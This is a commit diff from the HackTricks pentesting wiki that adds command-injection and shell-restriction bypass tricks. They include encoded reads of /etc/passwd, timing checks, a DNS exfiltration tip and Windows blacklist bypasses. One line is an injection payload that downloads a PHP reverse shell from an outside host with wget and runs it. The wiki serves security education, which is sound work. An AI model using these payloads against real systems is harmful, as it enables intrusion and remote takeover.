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GitBook: [#3531] No subject
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3 changed files with 35 additions and 21 deletions
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@ -103,6 +103,9 @@ echo${IFS}test
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# Using hex format
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X=$'cat\x20/etc/passwd'&&$X
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# Using tabs
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echo "ls\x09-l" | bash
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# New lines
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p\
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i\
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@ -146,6 +149,13 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
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time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
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```
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### Getting chars from Env Variables
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```bash
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echo ${LS_COLORS:10:1} #;
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echo ${PATH:0:1} #/
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```
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### DNS data exfiltration
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You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
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@ -42,17 +42,22 @@ ls %0A id # %0A Execute both (RECOMMENDED)
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`ls` # ``
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$(ls) # $()
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ls; id # ; Chain commands
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ls${LS_COLORS:10:1}${IFS}id # Might be useful
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#Not execute but may be interesting
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> /var/www/html/out.txt #Try to redirect the output to a file
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< /etc/passwd #Try to send some input to the command
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```
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### Bypasses
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### **Limition** Bypasses
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If you are trying to execute **arbitrary commands inside a linux machine** you will be interesting in read about this [**WAF bypasses**](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md).
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If you are trying to execute **arbitrary commands inside a linux machine** you will be interesting in read about this **Bypasses:**
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### **Examples:**
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{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
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[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
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{% endcontent-ref %}
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### **Examples**
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```
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vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
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@ -4,15 +4,11 @@
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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@ -448,6 +444,13 @@ powershell (Get-Content file.txt -Stream ads.txt)
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net helpmsg 32 #32 is the code in that case
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```
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### Bypass Char Blacklisting
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```bash
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echo %HOMEPATH:~6,-11%
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\
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```
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### Listen address ACLs
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You can listen on [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) without being administrator.
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@ -623,14 +626,10 @@ regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSB
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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